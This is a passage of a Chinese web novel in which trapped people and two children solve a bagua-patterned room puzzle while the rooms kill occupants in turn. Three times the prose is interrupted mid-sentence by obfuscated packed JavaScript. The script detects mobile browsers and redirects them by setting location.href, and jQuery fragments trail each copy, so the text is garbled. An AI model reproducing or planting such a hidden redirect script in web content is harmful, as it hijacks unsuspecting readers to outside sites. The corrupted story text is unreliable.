林之同样也是用摆烂的语气，意味不明地笑着说：“好啊，那我就下注，赌接下来这个房间里的人长了脑子，不需要我们的帮忙。” “哈哈，我就知道你会没有耐心的……你这么选的话，我们也就没有什么开赌局的必要了。” ［巽］字房间很快飞舞起竹签，不过从房间窗口并没有看到惊慌失措的人影…… “如你所愿了？”林之问。 “是如我所料。” “我才懒得管你怎么狡辩歪理呢，只是你也该管管中间的那个丫头吧？” “那个小姑娘关我什么事？我为什么要管？”月栀酒用一种与我无关的语气回绝了林之，但很快又用挑衅的目光去问她，“你很想让她过来吗？” “难道你不想吗？” “我不想啊。” “你……” “你想说什么？” “我想打你！” 林之把月栀酒从窗口推开，盯着在中央透明房间的安桉，正打算开口喊她。 “别着急嘛。”月栀酒打断了她，“你这么着急想叫她过来，是因为现在的［中宫］很危险对不对？” “废话，［巽］4完了就是……”林之发现自己又被套路了，但是这次她摊牌了，转过头看着月栀酒，“对对对，我发现了，我发现先天八卦变成后天八卦了，我还发现［巽］4过后就是位于［中宫］的5，你满意了吗？满意了就快点救人吧！” 就算林之看上去已经投降了，可月栀酒也不是这么好打发的，他还是得饶人处不饶人，蹬着鼻子就上脸。 “还有呢？” 林之挤出一抹想要杀人的笑容，锤了一下墙面，咬牙切齿地冲月栀酒吼道：“还有我知道怎么破解机关了，打算把她叫过来告诉她！你这人怎么一点分寸感都不懂啊，非得把人家扒得□□是不是？你真是个有怪癖的奇怪男人，小心以后嫁不出去！” 月栀酒也是日常嘴欠，嘻嘻哈哈地怼了回去：“嘿，这个您还真不用替我操心，小爷我乃人中龙凤，半点儿都不担心没人要。” 在月栀酒和林之吵架的期间，位于中央位置的安桉也站了起来。 她四周摸索，试图确定中央房间的形状。 可是衣物拼成的绳子为了保证牢固程度，所以长度有限，安桉腰上系着绳子，没有办法完全摸索完整个房间的形状。 安桉既然已经猜测中央位置是一个房间，那么就没有什么需要担心的了。出于初生牛犊不怕虎的胆大，她解开了自己身上用衣物系成的绳子，进一步往前探索。 安艺正疑惑于为什么下一个遭殃的不是自己的［坤］字房间，就看到安桉解开了唯一具有保护效果的绳子，差点没被再次吓晕了过去。好在眼下屠杀的顺序被打乱，安桉也没有回复他们有逃脱的机关，［坤］字房间和中央房间的危险系数同样高，所以安艺没有着急让安瓶也进入透明管道。 安桉在中央房间里走了几圈，大概确定了空间大小和房间的牢固程度，于是更加大胆地在里面探索起来。 中央房间并不像其他房间一样是正方形，而是一个从上往下看是正八边形的空间，每个面都刚好有一个窗口大小的管道通往对应的八个房间。 可是安桉在中央房间里非常仔细地探索了她所有能够到达的地方，发现除了这几个窗口之外，这个中央房间里居然什么都没有。 安桉环顾一圈，窗子被卸下来的只有姐姐所在的［坤］字房间和有两个人在吵架的［坎］字房间。 如果她要是回去的话，她出来就没有任何收获，纯属是浪费时间了，但是如果要进入通往［坎］字房间的透明管道的话……安桉没有能安全回来的把握。 ………… “你不觉得奇怪吗？” 林之很烦月栀酒每一次都是明知故问的样子，但是就体型来看，她确实打不过月栀酒，不好跟他正面硬掐，只好配合地反问：“又有哪里奇怪啦？” “［坤］字房间那边哭得这么撕心裂肺，窗子也给卸下来了，为什么我们愣是听不到一星半点儿的声音呢？” “咦，这个问题我还真是没有想过，小哥你总算是提出一个有点营养的问题了。”林之似是终于看月栀酒顺眼了一点，“……可是细想一下就不奇怪了呀。既然我们已经确定了这个八卦房间是需要配合才能更快逃脱，那么也就是说这八个……哦不是，九个房间里，只要有一个人想出来破解的办法就可以了，比如说［坎］字房间里的你想出来了，就可以告诉所有房间里的人解法。但是为了提高难度，设计这个机关的人也不可能让你吼一嗓子就把答案告诉所有人，所以就设计了一个只有在［中宫］的人才可以传话的小心思咯。” “就是这个思路。”月栀酒若有所思，诡笑着透过中央房间的安桉，看着不知道什么东西，“真的是太奇妙了，所有答案都和印在脑子里一样有了肌肉记忆，连排除错误答案这个过程都没有，自然而然的就显现出来了。” 林之懒得理月栀酒的中二发言，没忍住又翻了一个白眼，推开他朝安桉喊道：“小妹妹，中间危险，你快点过来！” 安桉看到八个能看见的房间当中，只有姐姐在的［坤］字房间和斜对面的［坎］字房间把小窗子卸下来了。 未知的房间对于一个小女孩来说无疑是很危险的地方，但是根据姐姐之前的推测，现在返回同样也是死路一条。 既然两条路都是一死，安桉觉得现在正在呼唤她的这个姐姐不是一个坏人，说不定她知道些什么，要是能找到一条生路就好了。 思及此，安桉也不再犹豫，直接往月栀酒他们的［坎］字房间爬去。 她这一套动作可是把安艺给吓坏了，急忙喊叫安桉的名字，可是自从安桉爬进通往［坎］字房间的透明隧道之后，她就听不到其他房间的任何一丝声音了。 “过来，慢点儿……”林之把安桉抱下来，“小妹妹你胆子真大，我们还怕你不敢过来呢。” 安桉隐约听懂了林之的意思，问：“为什么要我过来？” “因为中间马上就会很危险了。”林之嘟着嘴，学安桉的语气跟她解释。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14550342|152770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “为什么？” 安桉眨巴着大眼睛，直接就萌到了林之的心坎儿里。 “因为八卦……” 林之还在说着话，月栀酒突然就很扫兴地问了安桉一句：“刚刚你在透明隧道里的时候，能听见你姐姐在叫你吗？” “啊？姐姐有叫我？” 月栀酒看着安桉这清澈的目光，毫不客气地说了句“完了”然后让开了窗口的位置。 林之和安桉同时看到了正在往窗外爬的小男孩安瓶。 “哥哥也……”安桉觉得哪里有点奇怪，但是说不出来。 姐姐平常不是这么急躁的人啊，为什么这次会这么急切地让哥哥也赶紧出来呢？可能是姐姐觉得她都能安全过来，加之时间紧迫，所以就在匆忙之中做了这个决定吧。 林之瞬间焦急起来，四处寻找什么东西。 “姐姐你在找什么？” “我在找有什么能用来写字的东西……” “怎么了？” “我要拦住那个小家伙！” “为什么？” “来不及解释了，反正有危险。” 林之迅速找了一圈，目光锁定了白板笔和被卸下来的窗玻璃。但是透明隧道的距离很短，安瓶很快就已经到达了第一段隧道的尽头，她根本来不及写什么东西，只好连忙打了个叉，把玻璃板举到窗口。 “等一下！不要过来！” 林之大声吼叫，手舞足蹈地想让小男孩停下。 可惜好巧不巧，安瓶根本就没有抬头看玻璃板上画的叉，而且有了安桉探过路线的经验，他以为能顺利掉在透明房间的地板上，刚到能听见林之说话的地方就梭了下去。 林之下意识捂住安桉的眼睛，把她拉开了。 她们两个错开身位，月栀酒刚好看见安瓶头和手往下滑的瞬间，原本安桉留在中宫房间的衣服绳索塌了下去。 ——这就意味着中宫房间消失，安瓶再无落脚之地。 果不其然，安瓶以重力加速度的极快速度掉了下去，穿破深不见底的空间，缓缓消失在大家的视野里。 也就是在这个时候，八个房间的位置再次发生转换，回到了最开始的模样。 —————— “小瓶！” 安艺不可置信地盯着安瓶掉下去的地方，那里有一根在空中飘飘摇摇的衣服绳索…… 她怎么这么莽撞呢？ 她以为时间不够了，又以为安桉走过的路一定是没有问题的，所以甚至都没有把绳索给安瓶拴上就把他推出去了。 安艺愣在原地，盯着安瓶已经消失的身影，知道他肯定是活不成了。 多年前的景象历历在目，安艺连八个房间的位置转换都没有察觉，一心只想着要是她能替安瓶去死就好了……这全都是她的错，拜托了上苍，她愿意死的，只要能换弟弟妹妹活着回来! 思想愈演愈烈，安艺甚至已经幻想到了她身边围绕着失重感，而弟弟安然无恙站在房间里的样子。 这时，她房间里的那个疯姑娘不知道什么时候竟出现在她的身边。 疯姑娘在她的耳边，用诅咒的语气说：“你现在恨不得替你弟弟去死，可是你弟弟已经死了。” 不知道为什么，疯姑娘说完这句话的瞬间，安艺心头想替弟弟去死的想法竟然淡了下来。理智重新回到大脑，她将惊恐的视线移到疯女人身上。 而疯姑娘没有再继续跟她交流，只是念叨着：“你们都会死的，除了我之外的所有人都会死在这里……”又摇摇晃晃回到了最初的墙角坐下。 36.万家山 安瓶的死亡是在月栀酒计划之外的。 他来不及感慨生命的流逝，难得地用严肃的语气问林之：“这一轮还有多久结束？” 林之不紧不慢地看着怀表回答：“我看看啊……还有两分钟左右。” “遭了……” 月栀酒盯着安桉，露出了苦恼的神情。 由于前两次林之太过着急，导致月栀酒逮住话茬奚落了她好几次。所以在这次的紧急情况下，反倒是林之更稳得住，还不慌不忙地开了个玩笑。 “我说小哥，你又被上身了？要我帮你驱一下吗？” 月栀酒没有理林之，反而是在大脑里迅速闪过了几种解决问题的方法。最后他敛了敛思绪，用近乎刻薄的神情斜睨着安桉，语气冰冷地问：“你够得到房间顶端的拉杆吗？” 安桉抬头看向房间顶端的18个拉杆，她就算用尽全身力气跳起来也绝对够不到拉杆，所以她唯唯诺诺回答说：“……不行。” “那你就别想活着见你姐姐了，老老实实死在这里吧。” 安桉本来胆子就不是很大，再加上月栀酒毫不掩饰的嫌弃，让她变得手足无措起来。 “啊，我、还不能……死……”安桉眼看月栀酒把头偏过去根本不听她说话，连忙小心翼翼地抬眼望向林之寻求帮助，“姐姐……” 林之当然能明白月栀酒的意思，也知道他是那种吊儿郎当的人，说句正经话都不容易，对安桉说的话自然皆非本意。只是眼下的情况迫在眉睫，他不了解安桉的性格，这样简单粗暴地告诉她怎么做，要比轻声细语地解释的效率要高得多。 安瓶的坠落第二次触发了［中宫］，导致后天八卦又变成了先天八卦。后天八卦当中［巽］为4，倒计时结束之后遭殃的将会是位于［中宫］的5，而在先天八卦当中［巽］为5，则下一个面临屠杀的便会是他们所在的［坎］6号房间。 林之盯着安桉委屈巴巴的小眼睛，纵然心都要被萌化了，但是现在要跟一个孩子解释八卦九宫的道理显然是一件难事，倒不如按照月栀酒的意思，先把安桉送出去。 “别管他，你这哥哥精神有问题，成天胡说八道的积不了一点口德。”林之看了眼怀表，蹲下来搂住安桉，又光明正大地瞅了眼月栀酒，温柔地对安桉说：“哥哥的意思是说这里危险，让我先把你送还给你姐姐，并告诉你姐姐活命的办法，明白了吗？” “明白了。”安桉很干脆地点头答道，“请您快点告诉我！” “嗯？” 林之有点惊讶，像安桉这个年纪的小孩子正是好奇心最重的时候，她居然没有问东问西的，实在是不可思议。早知道安桉这孩子这么懂事，月栀酒也不必唱他不擅长的白脸，直接好好说话不就完了吗。 但事实上，安桉不仅是听话懂事，她也有自己的考量。 虽然林之拦住了她，但是她根据现在中宫自然垂落的衣服绳子，也不难推测出自己的哥哥八成已经掉了下去。眼下哥哥生死不明，姐姐又不知道为什么不如从前理智，很明显没有办法破解房间的机关，她们的房间当中还有一个疯姐姐，说不定会影响姐姐的思路。基于规则里没有“互相迫害才能生存下去”这一条，这个蓝色房间里的哥哥姐姐看起来也不像坏人，所以安桉原意相信他们没有伤害自己的理由。 月栀酒站在面对窗口的第一排，从左往右数的第三个圆圈里，对安桉说：“回去之后，告诉你们房间里面的人，如果想活命，就都站到这个位置的圆圈里。” “嗯，好，”安桉追问道：“然后呢？” “然后不管发生什么都不要动就好了。” 林之打开怀表，恰到好处地提醒了一声：“只有一分钟了。” 月栀酒离开了那个圆圈，看了一眼窗外，又往另外一个圆圈走去，“行了，你赶紧回去吧……或者你想见识一下我们房间的机关，我也不拦着。” 尽管不知道为什么，安桉就是相信哥哥姐姐说一分钟之后这个房间就一定会遭遇屠杀的结论。但是现在存在一个问题，那就是安瓶进入中央房间的时候已经确认中央房间的地板消失了，要是她就这样爬回去的话，和送死有什么区别？ “不用担心。”林之似乎知道安桉心里在焦虑什么，把手伸出窗外，向下按去，温柔地跟安桉解释，“你看，这个透明管道还在，所以你回去是没有危险的。” 其实林之这句话的原意是——“你第一次触发［中宫］，把先天八卦变成了后天八卦；安瓶的坠落第二次触发［中宫］，又把后天八卦变成了先天八卦，但是因为先天八卦没有［中宫］，所以他才会掉下去；如果你再一次出发［中宫］，则先天八卦又会转变为后天八卦，［中宫］存在，你就可以安安稳稳回到你姐姐身边了。”但是没办法跟安桉说明白，所以就演化成了“因为透明管道还在，所以你可以安全回去”的版本。 时间已经不多了，刚刚月栀酒已经告诉了安桉她们原本的［坤］字房间转化为后天八卦的宫位，林之也来不及跟安桉多说，直接就把她凑进了透明管道中。 “记住位置了吗？直接回去，不要一直呆在中间的透明房间，会有危险，不要再过来了。” 林之说完，就站进了面对窗口，第二排从左往右数的第三个圆圈，伸手抓住了房间上方垂下来的拉杆，而月栀酒则抓住了该圆圈上方对应的另外一个拉杆。 十分钟倒计时结束。 坎字房间那一排排出水口中，以极快的速度涌出水柱。 安桉在透明管道里往前爬了几公分，透过身体的缝隙看了眼房间里面的情况，但是什么都没有看到，只能听到出水口流出来的水拍打墙面的声音。 她生怕坎字房间里的水会流进透明管道，所以加快了爬行的速度，没几秒就摸到了中央房间的墙壁。 “要……跳下去……” 安桉的声音已经颤抖到谁也听不懂了，就算她鼓起最大的勇气，也还是没有办法说服自己往下跳。因为她爬到这里的时候，才再次注意到哥哥掉下去时，那根自然垂落的衣物绳子。 那根绳子原本是可以垂到中央房间地面还剩余一截的，可是如今却全都垂了下去，这是不是说明中央房间的地板并没有恢复？难道［坎］字房间里的哥哥姐姐猜错了吗？她就这样跳下去的话，会不会被摔死？ 正当安桉犹豫不决的时候，安艺的声音传了过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14636926|152770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “小桉，你在干什么？” 这个时候，安桉的脑袋已经整个伸出了透明管道，进入中央房间了。 “你不可以到中间去！刚刚小瓶就是从中间掉下去的！”安艺泣不成声，一个劲儿地在窗口跳脚，一边流泪，一边用哄劝加哽咽的声音试图拦住安桉，“小桉你不要激动……乖，听姐姐的话好吗？不要……不要再往前了，你会、你会死的……” 安桉抬起头，看见了姐姐泪眼模糊的面容。 “姐姐，我没事的。蓝色房间的哥哥姐姐说知道了活命的办法，让我回去告诉你。” “停！我知道了，你不要再往前了好不好？乖，小桉……” 安艺根本顾不上自己怎么才能活命，只是安瓶坠落的场景还萦绕在她的心尖，她已经失去了弟弟，不可以再失去一个妹妹了。 安桉到现在也没能搞清楚姐姐为什么这么语无伦次，她记忆里的姐姐可是一个泰山崩于眼前而面不改色的大女子，怎么今天却突然理智全失了呢？ 算了，姐姐这么着急一定也是为了她好。 安桉低下头，往后退了一截。 就在这一瞬间，涌动的水波拍打［坎］字房间墙壁的声音再次席卷她的耳膜。 “水……声音！” 安桉猛然间想通了什么。 她手指摸索着透明管道通往中央房间的边缘，身体又往前移动了一些，头部并没有超出这条界限。 这一刻，她明显看到姐姐正在开口说着些什么，但是她连一个音节也听不见。 紧接着，她又将头伸出透明管道，进入中央房间的范围。 此时，汹涌的水声消失，取而代之的是姐姐的呼唤—— “小桉，千万不可以试图跳进中间的房间，你知道了吗？” 怪不得之前蓝色房间里的大哥哥会问她有没有听见姐姐叫她，大姐姐想阻拦安瓶往前爬的时候也是第一时间往玻璃板上画叉，原来只有在中央房间才可以听到其他房间的声音！ 【八仙过海，各显神通】——安桉不知道这是什么意思，但是这八个颜色各异的房间连在一起，就一定有在一起的意义。就算把小窗子撬下来，这八个房间也没有办法直接交流，所以要使这八个房间联系起来，就只能靠她和哥哥。 ……要是这么说的话，其他房间里都只有两个人，而他们的房间却有四个，那她和哥哥会不会就是中央房间的人呢？只是给他们设计机关的大人不想一开始就让中央房间和透明管道的事情暴露，所以才把她和哥哥安排到了姐姐的房间。 蓝色房间里的姐姐也说过要她立刻回去，中央房间也并不安全。 按照每个房间都至少要经历一次屠杀的潜规则来看，中央房间也有会置人于死地的机关，而且很有可能正好就被哥哥碰上了，所以哥哥才会掉下去。这么说的话，尽管衣物绳子看上去宣告着中央房间依旧没有地板，但是蓝色房间里的水已经快淹进透明管道了，而且看上去那么聪明的哥哥姐姐说的话很有可能是对的。横竖都是一死，如果赌对了，说不定还可以救姐姐一命。 思及此，安桉不再犹豫，径直跳进了中央房间…… 37.万家山 无论安桉的小脑袋有多么灵光，她毕竟都还是个小孩子，没有办法完全猜对……但其实除了安瓶坠落的原因不对之外，安桉的推理和八卦房间的逻辑也都大差不差了。 总体来说，安桉的推理过程有些出错，但总体结论正确。 她的又一次触发，让八个颜色的房间再次变化了位置。 在安艺又一次心脏骤停的恐惧当中，安桉手先着地，掉落在了中央房间的透明地板上。 不同于安艺的胆战心惊，安桉的心情倒是很平和，她轻车熟路地爬起来，径直朝着衣物绳子和姐姐房间的方向走去。 安桉知道衣物绳子所在的位置就是透明管道和中央房间交界的位置，所以她根本无需摸索就可以很容易地回到姐姐的房间。 可当她拉住绳子的时候，却呆愣住了。 因为他们感受不到空气的流动，所以下意识认为是中央房间没有风，才导致绳子纹丝不动地垂落着。但只有安桉知道，这条绳子的下端是在八个房间颜色转化的瞬间被固定到了中央房间的地板里。因为中央房间和其他房间一样存在厚实的机关墙，绳子的下端整个镶嵌进了机关地板中，所以才营造出了“空中没有风，所以绳子纹丝未动”的假象……又或许，这片天空真的没有风也说不定，否则为什么安瓶掉下去之后这么长的时间，这条绳子连晃都没有晃动过一下呢？ 按照这个理论说起来的话，中央房间的地板并非是由机关控制打开，而是没有任何运动轨迹的突然之间出现，又突然之间消失的吗？ 安桉来不及思考这些，她只记得蓝色房间的姐姐告诉她中央房间危险，切不可久留的警告，从透明管道爬回进了自己原本所在的［坤］字房间。 回去的过程中有坤字房间垂下来的绳子就方便多了，要是没有这条绳子，安桉就只能依靠透明管道和墙壁的摩擦力，花费九牛二虎之力才能爬进管道。 ………… “小桉，你吓死我了。” 安艺脸上还挂着眼泪，她把刚探出一个头的安桉给抱了进来。 由于林之没有告诉安桉［坤］字房间什么时候遭殃，所以她为了节约时间，直接就一股脑地把自己得到的所有信息都讲了出来。 “姐姐你先等我说完。我去到了那个蓝色的房间，那个房间的墙壁上有个［坎］字，房间里面的哥哥姐姐好像已经知道破解机关的方式了，他们说……” “你等一下。”疯姑娘突然叫停了安桉，用凌厉的目光盯着她，“你说［坎］里面是谁？他们为什么要告诉你出去的办法？” 这同样是安艺怀疑的问题。 成年人的世界总是真假掺半的，他们不认为有谁会如此好心，在得知破解机关的方法后还会选择帮助别人。 “我……我不知道，他们没有说为什么……” 安桉咬着嘴唇，声音越来越小，一看就是被疯癫姑娘给吓到了。 疯姑娘听到这一句话，又转过身面向墙壁，埋着头不知道在思考着什么，不过好歹也不再说那些诅咒人去死的话了，叫人混乱的思绪也清明了一些。 其实这个疯姑娘一点也不吓人，她最多不超过二十岁，长相也清秀，只是她疯疯癫癫的状态实在是让人无法想象到她经历过什么，以及她会不会做出些什么。人类出于对未知和丧失理智者的忌惮，才会产生了恐惧的情绪。只要想通了这一点，安艺的恐惧情绪也就大大降低了。 可纵使恐惧被冲淡，安艺的大脑里也还是一片混沌，无论如何也驱不散那迷雾。不过为了自己和妹妹的生命安全着想，她也并没有多说什么，只是看了眼已经有水没入透明管道的［坎］字房间，在混沌中思考着他们的话到底是否可信。 小桉没见过［坎］字房间里面的人，那两个人也不可能认识小桉，非亲非故的人说的话怎么能信呢？ 安艺弯下腰，平视着安桉的眼睛问：“你看到那个房间里面的人逃出去了吗？” ——这是她现在能想出来最有价值的一句话了。 安桉回忆了一下，摇摇头，“我没有亲眼看见他们逃出去，但是蓝色房间开始有水的时候我回头看了，里面一个人都没有，我也不知道他们去哪了。” 说话间，安桉注意到［坎］字房间里漫出来的水只淹没了［坎］字房间连接着的那段透明管道，形成了一个细长的长方体，而中央房间里就连一滴水都没有。 “你说水漫出来的时候，那个房间里面的人都消失了？” “嗯。”安桉很认真地点头。 安艺不太理解安桉的说法，其余的七个房间应该都和他们的房间一样，中央是他们可以活动的空间，四面八方都是机关墙，除此以外就是成年人根本不可能通过的小窗口，［坎］字房间里面的人怎么可能逃得出去呢？ “消失……” 安艺自从来到这里起，脑子就像是被一块湿润的薄膜给盖住了，根本无法进行稍微有些深度的推理。她不知道什么时候会轮到自己和妹妹所在的房间触发机关，可能是下一个，也可能还有更长的时间——但这不是可以拿来做赌事情，她只好先暂时相信这两个陌生人一次。 “他们跟你说了什么？”安艺急切地问她。 安桉小跑两步，站在面对窗口的第一排，从左往右数的第三个红色圆圈里，仰起头跟姐姐说：“那边的哥哥说要我们站在这个圆圈里面，然后不管发生什么事情都不要动就好了。” “就这样？” “那个哥哥是这么说的。” 安桉说着话，又一次感受到了来自房间角落里的视线。 那个疯姑娘偏过头，用刀子般的视线狠狠剜了一刀安桉，把安桉吓得直接躲到了姐姐的身后。 安艺半信半疑地走进安桉方才站过的圆圈，蹲下去敲了两下圆圈内的地板，又敲了敲圆圈外的地板，发现并没有什么不同。紧接着，她又伸手抓住了圆圈上方对应的拉杆，发现和其他的拉杆也没有两样。 “他们真的和你说站在这里面不动就行了？” 安艺觉得自己被骗了。 “嗯，”安桉点头，继续补充说道：“我看见他们的最后一眼，他们也是站在一个圆圈里面的。” “他们也是站在这个位置的圆圈里吗？” “不是。” “那他们是站在哪个圆圈里的？” 安桉尽力回忆了起来，但是当时她直接就被林之抱到了透明管道里，没有来得及细看。 “我记不得了，可能是你面前这个… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14706340|152770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …也可能是旁边那个……” 听到安桉模棱两可的回答，安艺皱起了眉头。她站在圆圈里没有出来，从窗口望出去观察其他的房间。 “他们还说了什么吗？” “他们还说……”安桉努力回忆着她从到达［坎］字房间到回来期间所有听到的话，“那边的姐姐还告诉我，让我直接回来，不要留在中央房间，会有危险……噢还有，她让我不要再回去了。” 安艺频繁看向窗外和脚底的圆圈，自言自语地分析起来。 “不要留在中央房间可以理解，在那种看不见的地方确实很危险，小瓶就是因为没有注意，唉……但是不要再回去……一旦得知那边没有活路，我怎么可能会再让你过去呢？” 她看见自己房间正对面的浅棕色房间。 “我记得刚刚我们对面好像是金色的房间，但是之前好也就是浅棕色，不过最开始是这个颜色吗……” 安桉点破了她的想法，“姐姐，好像我和哥哥每到达一次中央房间，就会让这八个房间变换一次位置……而且，我和哥哥好像就是中央房间里面的人。” “你和小瓶怎么会是那个透明房间里面的人呢？” “因为这些房间里面都只有两个人啊，而且都是和姐姐一样的大人，只有我和哥哥这两个小孩子像是多余的……” 话糙理不糙，如果安桉和安瓶到达中央房间真的会使其余八个房间发生位置转换的话，那安瓶的第二次触发中央房间就已经使八个房间的位置回到了最初的样子，而安桉的第三次触发则使房间秩序变成了第一次转变后的样子。 也就是说，包括中央房间在内的九个房间只存在两种顺序。 以他们刚进来的最初顺序为“0”，安桉第一次触发为“1”的话，触发到双位数的时候，中央房间消失；触发到单位数的时候，中央房间存在。安桉回来时进行了第“3”次触发，所以中央房间显现，如果安桉再一次前往中央房间，则就是第“4”次触发，中央房间消失，安桉就会像安瓶一样掉下去…… 想到这里，安艺心有余悸地按了按自己飞快跳动的心脏，庆幸地说：“怪不得他们让你不要再回去了。” “姐姐你知道原因了吗？” “是的。”安艺把安桉拉到圆圈里，用赌上一切的语气，郑重地对安桉说：“虽然我还不知道这些圆圈里面有什么玄机，但是你遇上了又好又聪明的人，他们是真的想帮助我们，所以我们也要相信他们才行。” ………… 两分钟过去，房间角落的疯姑娘也慢步走进她们所在的圆圈里。 安艺对她还有所顾忌，护着安桉往自己身上靠了靠，警惕地提防着疯姑娘。而疯姑娘却对此毫不在意，还在闭着眼睛念她的“诅咒经”。 也就在这个时候，她们脚底的圆圈缓缓下降，直到将她们整个吞没才停下。 安艺看不到头顶发生了什么，但是她听到了有什么巨大物体在地面拖动的声音，简直就像是墙体本身在移动。 上方的场景正和安艺所想的一样，左右两面墙壁不断往中间挤压。在它们之间还剩20厘米的时候，两面墙壁猛然间合拢在一起，又接着分开、合拢，像榨果汁一样……持续到十分钟之后。 38.万家山 —————— “阿莱姐，这……”小篮子看着安桉一点一点爬回［坤］字房间，无奈地跟文艺风女人说，“这小孩是真把这儿当游乐场了，他们的房间是被赦免了吗？” 文艺风女人没有说话。 虽然她没有看到安瓶坠落的一幕，但是安桉两次触发［中宫］的场景都被她清楚地捕捉到了，所以她猜测只要那个小孩进入中央的透明房间，八个房间的位置便会发生转化，与之相对应的答案应该也大相径庭。 眼下八个房间的格局应该是回到了他们的［巽］字房间触发机关之前，所以站在之前的圆圈里应该就可以再一次躲避屠杀。但这个方法终究是治标不治本。他们一不知道屠杀顺序，二不知道如何逃出去，就算能一直靠这个房间里的暗格逃躲避机关，他们也迟早会被饿死在这儿。 看着那个小女孩在两个房间之间无所顾忌地爬来爬去，说不定这两个房间当中已经有人想到逃脱的办法了呢？ 可是自从小女孩回到［坤］字房间之后，［坤］字房间的小窗口前就再未出现过人影，要想把那个小女孩再叫过来恐怕是不可能的了。那么现在，文艺风女人也只好凭借自己的脑子，在自己完全不了解的八卦当中去推理真相了。 她站回到面对小窗子的第一排第一个圆圈当中，对小篮子说：“如果我推测得没有错的话，下一次触发机关的暗格也是在这里。但是我还不知道这八个房间杀人的规律，所以我们以防万一，在找到出去的机关或者再有小孩子爬出来之前，先暂时不要离开这个圆圈。” 小篮子走进了圆圈里，但还是不明白，“这跟小孩子有什么关系？” “你没有发现吗？这个小女孩爬出来和爬回去的时候，我们这几个房间的顺序都出现了变化，所以有很大概率，这个小孩子每爬过一次，躲避机关的暗格也就会随之变化一次。” “是这样吗……但是这样也不行啊，我们总不能一直躲下去，你找到出离开这个鬼房间的机关了吗？” “没有。”文艺风女人失落地摇摇头。 小篮子也像是失望般叹了口气，然后强颜欢笑地给自己和文艺风女人打气，“没关系，这样已经很好了，至少我们已经找到了暂时不被房间里那些毒牙签扎死的办法，至于其他的……也总会有办法的吧……这要是一场梦就好了。” 文艺风女人看到［坎］字房间里漫出了水柱，这水柱却并没有顺着重力流淌下去，而是流进了之前小女孩爬过的透明管道，当到达透明管道与中央房间交界线的时候止步不前，形成了一个“细长方体”的形状。 “你看！” 文艺风女人这下子真的理解不了。 原本的透明管道和透明房间就让她觉得不可思议了，现在又出现了呈细长方体漂浮在空中的水柱。而且在小女孩方才爬过，确认过没有任何阻拦的地方，水居然没有流淌到中央房间之中。要不是能感受到痛觉和无比真切的绝望，她真的很难说服自己这些离谱东西是真实存在的。 小篮子看到有水柱漂浮在空中的［坎］字房间也被吓了一跳。 “我靠！阿莱姐，这真的不是我看错了吗？你是真的看到了对不对？” “是啊……超自然的东西，我真是一点辙也没有。” 文艺风女人简直快要把“绝望”两个大字贴在脑门儿上了。可当她抬起头的时候，无意间看到了天花板上那些被他们遗忘了很久的拉杆。 对了，她怎么现在才想起来这个东西呢？ 这个六面都是网格的小房间一眼就可以望到头，他们在没有手电筒的情况下，也不可能逆着光看到网格里面有什么东西，既然地上的圆圈是暗格，那么说不定天花板上的拉杆就是彻底解除机关的装置呢？ ［坎］字房间的水还没有彻底淹满，时间还剩很多，即便暂时离开安全范围内的圆圈也没有关系。 于是她提议道：“我们先试一下拉动这些吊环会发生什么。” “好。”小篮子回答得很干脆。 “这九个圈圈上方对应的两个拉杆，我们都要分别试试以一个人和两个人的重量拉动会不会有什么区别。如果这样还是没有办法的话……我就真的没有办法了。” 小篮子想，这种复杂的八卦阵，要是搭配一个可以靠瞎猫碰上死耗子就能顺利逃脱出去的装置，那么设计这个杀人游戏的人大概率也是心智不全。既然最后把结局设计的这么简单粗暴，还不如一开始就把这些人全都聚集起来，靠抽签决定生死呢。 虽然知道这18个拉杆绝对不可能是逃脱出去的关键所在，但这些拉杆也是他们房间里除了小白板之外唯一像是机关的东西。他们对八卦根本只存在于听说的程度，想根据八卦答题是绝对不可能的，那么这些光是看上去就跟逃离毫无关系的拉杆便是他们唯一的希望了。 可惜，奇迹不会光顾他们的人生。 在尝试完所有可能性之后，文艺风女人感觉手上传来阵阵疼痛，居然还有轻微的出血。 她盘腿坐在地上，眼睛里满是掩盖不住的绝望。她像忏悔自己犯过的罪一样，用哀悼的语气自言自语。 “世上居然还有这么超自然的报应……可是这么多人都和我一样吗？甚至是那个孩子……” 小篮子听不懂文艺风女人在嘀嘀咕咕些什么。他也很是绝望，扒开那堆涂了毒的竹签，从中捡起白板笔，站在窗前想编一个答案填上去，无论写什么，都好过空着。 “欸，”他忽然意识到一件事，“阿莱姐，你说这块玻璃是隔音的吗？” 看起来文艺风女人的求生意志已经不太高了，她有气无力地说：“可能是吧，毕竟前几个被杀掉的人的叫声我们也没有听见呀。不过，隔不隔音的影响好像也不是很大嘛。” 